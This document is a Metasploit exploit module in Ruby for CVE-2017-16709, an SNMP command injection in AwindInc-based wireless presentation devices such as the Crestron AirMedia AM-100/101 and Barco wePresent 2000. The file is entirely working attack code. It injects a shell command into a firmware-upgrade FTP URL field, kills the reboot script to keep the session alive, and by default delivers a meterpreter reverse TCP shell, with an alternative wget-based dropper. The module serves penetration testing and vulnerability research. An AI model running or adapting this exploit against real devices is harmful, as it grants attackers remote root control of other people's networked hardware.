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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::SNMPClient
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  include Msf::Exploit::CmdStager
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "AwindInc SNMP Service Command Injection",
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      'Description'    => %q{
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        This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
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        A valid SNMP read-write community is required to exploit this vulnerability.
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        The following devices are known to be affected by this issue:
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          * Crestron Airmedia AM-100 <= version 1.5.0.4
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          * Crestron Airmedia AM-101 <= version 2.5.0.12
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          * Awind WiPG-1600w <= version 2.0.1.8
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          * Awind WiPG-2000d <= version 2.1.6.2
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          * Barco wePresent 2000 <= version 2.1.5.7
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          * Newline Trucast 2 <= version 2.1.0.5
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          * Newline Trucast 3 <= version 2.1.3.7
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Quentin Kaiser <kaiserquentin[at]gmail.com>'
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        ],
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      'References'     =>
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        [
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          ['CVE', '2017-16709'],
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          ['URL', 'https://github.com/QKaiser/awind-research'],
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          ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
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        ],
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      'DisclosureDate' => '2019-03-27',
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      'Platform'       => ['unix', 'linux'],
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      'Arch'           => [ARCH_CMD, ARCH_ARMLE],
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      'Privileged'     => true,
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      'Targets'        => [
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        ['Unix In-Memory',
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          'Platform'    => 'unix',
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          'Arch'        => ARCH_CMD,
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          'Type'        => :unix_memory,
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          'Payload'     => {
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            'Compat'    => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
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          }
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        ],
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        ['Linux Dropper',
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          'Platform'    => 'linux',
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          'Arch'        => ARCH_ARMLE,
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          'CmdStagerFlavor' => %w[wget],
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          'Type'        => :linux_dropper
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        ]
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      ],
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      'DefaultTarget'  => 1,
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      'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))
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    register_options(
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      [
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        OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
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      ])
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  end
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  def check
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    begin
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      connect_snmp
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      sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
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      print_status("Target system is #{sys_description}")
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      # AM-100 and AM-101 considered EOL, no fix so no need to check version.
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      model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
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      case model
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      when 'AM-100', 'AM-101'
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          return CheckCode::Vulnerable
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      else
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          # TODO: insert description check for other vulnerable models (that I don't have)
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          # In the meantime, we return 'safe'.
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          return CheckCode::Safe
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      end
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    rescue SNMP::RequestTimeout
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      print_error("#{ip} SNMP request timeout.")
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    rescue Rex::ConnectionError
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      print_error("#{ip} Connection refused.")
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    rescue SNMP::UnsupportedVersion
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      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
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    rescue ::Interrupt
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      raise $!
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    rescue ::Exception => e
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      print_error("Unknown error: #{e.class} #{e}")
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    ensure
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      disconnect_snmp
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def inject_payload(cmd)
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    begin
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      connect_snmp
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      varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
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      resp = snmp.set(varbind)
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      if resp.error_status == :noError
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        print_status("Injection successful")
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      else
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        print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
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      end
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    rescue SNMP::RequestTimeout
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      print_error("#{ip} SNMP request timeout.")
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    rescue Rex::ConnectionError
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      print_error("#{ip} Connection refused.")
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    rescue SNMP::UnsupportedVersion
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      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
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    rescue ::Interrupt
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      raise $!
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    rescue ::Exception => e
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      print_error("Unknown error: #{e.class} #{e}")
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    ensure
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      disconnect_snmp
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    end
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  end
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  def trigger
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    begin
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      connect_snmp
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      varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
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      resp = snmp.set(varbind)
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      if resp.error_status == :noError
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        print_status("Trigger successful")
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      else
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        print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
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      end
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    rescue SNMP::RequestTimeout
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      print_error("#{ip} SNMP request timeout.")
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    rescue Rex::ConnectionError
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      print_error("#{ip} Connection refused.")
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    rescue SNMP::UnsupportedVersion
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      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
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    rescue ::Interrupt
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      raise $!
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    rescue ::Exception => e
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      print_error("Unknown error: #{e.class} #{e}")
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    ensure
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      disconnect_snmp
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    end
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  end
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  def exploit
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    case target['Type']
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    when :unix_memory
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      execute_command(payload.encoded)
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    when :linux_dropper
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      execute_cmdstager
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    end
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  end
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  def execute_command(cmd, opts = {})
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    # The payload must start with a valid FTP URI otherwise the injection point is not reached
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    cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
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    # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
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    # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
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    # keep our reverse shell opened :)
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    cmd << "$(pkill -f /etc/reboot.sh)"
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    # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
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    cmd << "A" * (255-cmd.length)
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    # we inject our payload in camFWUpgradeFTPURL
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    print_status("Injecting payload")
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    inject_payload(cmd)
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    # we trigger the firmware download via FTP, which will end up calling this
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    # "/bin/getRemoteURL.sh %s %s %s %d"
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    print_status("Triggering call")
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    trigger
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  end
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end
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